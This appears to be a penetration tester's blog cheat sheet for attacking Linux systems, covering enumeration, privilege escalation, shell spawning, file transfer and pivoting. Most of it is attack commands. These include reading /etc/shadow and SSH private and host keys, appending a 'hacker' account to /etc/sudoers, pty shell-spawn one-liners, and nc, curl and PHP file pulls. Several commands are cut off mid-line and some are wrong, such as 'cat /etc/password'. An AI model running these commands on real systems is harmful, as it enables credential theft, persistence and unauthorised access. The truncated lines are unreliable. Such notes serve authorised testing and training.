Linux Notes / Cheatsheet

Linux Cheatsheet | Exploitation | Priv Esc | Post Exploit | File Transfer | Lateral Movement

Jul 31, 2018

Aidan Preston

Penetration Tester

A place for me to store my notes/tricks for Linux Based Systems

Note: These notes are heavily based off other articles, cheat sheets and guides etc. I just wanted a central place to store the best ones.

Also this will probably be a lot smaller than my Windows Cheat sheet because I hate Linux.

Enumeration

Basics

```
whoami
hostname
uname -a
cat /etc/password
cat /etc/shadow
groups
ifconfig
netstat -an
ps aux | grep root
uname -a
```

Aidan Preston

Penetration Tester


```
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
```

Recon

```
Always start with a stealthy scan to avoid closing ports.

# Syn-scan
nmap -sS INSERTIPADDRESS

# Scan all TCP Ports
nmap INSERTIPADDRESS -p-

# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333

# Scan for UDP
nmap INSERTIPADDRESS -sU

# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772
```

Aidan Preston

Penetration Tester

UDP Scan

```
./udpprotocolscanner <ip>
```

FTP Enum

```
nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsft
```

Start Web Server

```
python -m SimpleHTTPServer 80
```

Exploit

libSSH Authentication Bypass - CVE-2018-10933

```
https://github.com/blacknbunny/libSSH-Authentication-Bypass

Use nc <ip> 22 to banner grab the SSH Service, if it's running v
```

Privilege Escalation

Aidan Preston

Penetration Tester

Basics

```
cat /proc/version <- Check for kernel exploits
ps auxww
ps -ef
lsof -i
netstat -laputen
arp -e
route
cat /sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
lsb_release -a
```

Run pspy64

Aidan Preston

Penetration Tester


```
#https://github.com/DominicBreuker/pspy

Run in background and watch for any processes running
```

Spawn TTY

```
#https://blog.ropnop.com/upgrading-simple-shells-to-fully-intera

python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
awk 'BEGIN {system("/bin/sh")}'
find / -name blahblah 'exec /bin/awk 'BEGIN {system("/bin/sh")}'
python: exit_code = os.system('/bin/sh') output = os.popen('/bin
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
irb(main:001:0> exec "/bin/sh"
Can also use socat
```

Enum Scripts

```
cd /EscalationServer/
chmod u+x linux_enum.sh
chmod 700 linuxenum.py
```

Aidan Preston

Penetration Tester


```
./linux_enum.sh
python linuxenum.py
```

Add User to Sudoers

```
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers
```

List CronJobs

```
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```

Check for SSH Readable SSH Keys for Persistence and Elevation

Aidan Preston

Penetration Tester


```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
```

Startup Scripts

```
find / -perm -o+w -type f 2>/dev/null | grep -v '/proc\|/dev'
```

Find Writable Files for Users or Groups

```
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul
```

Aidan Preston

Penetration Tester

Find Writable Directories for Users or Groups

```
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null
```

Find World Writable Directories

```
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -p
2>/dev/null | grep -v root

find / -writable -type d 2>/dev/null
```

Find World Writable Directories for Root

```
find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -p
2>/dev/null | grep root
```

Find World Writable Files

```
find / \( -wholename '/home/homedir/*' -prune -o -wholename '/pr
-0002 \) -exec ls -l '{}' ';' 2>/dev/null
```

Aidan Preston

Penetration Tester

Find World Writable files in /etc

```
find /etc -perm -2 -type f 2>/dev/null
```

Sniff Traffic

```
tcpdump -i eth0 <protocol>
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and ds
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X
```

User Installed Software (Sometimes Misconfigured)

```
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
```

Post Exploitation

Get Capabilities

Aidan Preston

Penetration Tester


```
/sbin/getcap -r / 2>/dev/null
```

Get SUID Binaries

```
find / -perm -u=s -type f 2>/dev/null
```

Check Sudo Config

```
sudo -l
```

File Transfers

Base64

```
cat file.transfer | base64 -w 0
echo base64blob | base64 -d > file.transfer
```

Curl

```
curl http://webserver/file.txt > output.txt
```

Aidan Preston

Penetration Tester

wget

```
wget http://webserver/file.txt > output.txt
```

FTP

```
pip install pyftpdlib
python -m pyftpdlib -p 21 -w
```

TFTP

```
service atftpd start
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
auxiliary/server/tftp
```

NC Listeners

```
nc -lvnp 443 < filetotransfer.txt
nc <ip> 443 > filetransfer.txt
```

PHP File Transfers

```
echo "<?php file_put_contents('nameOfFile', fopen('http://192.16
```

SCP

```
# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/des

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/desti
```

Aidan Preston

Penetration Tester

Lateral Movement / Pivoting

SSH Local Port Forward

```
ssh <user>@<target> -L 127.0.0.1:8888:<targetip>:<targetport>
```

SSH Dynamic Port Forward

```
ssh -D <localport> user@host
nano /etc/proxychains.conf
127.0.0.1 <localport>
```

Socat Port Forward

```
./socat tcp-listen:5000,reuseaddr,fork tcp:<target ip>:5001
```

Aidan Preston

Penetration Tester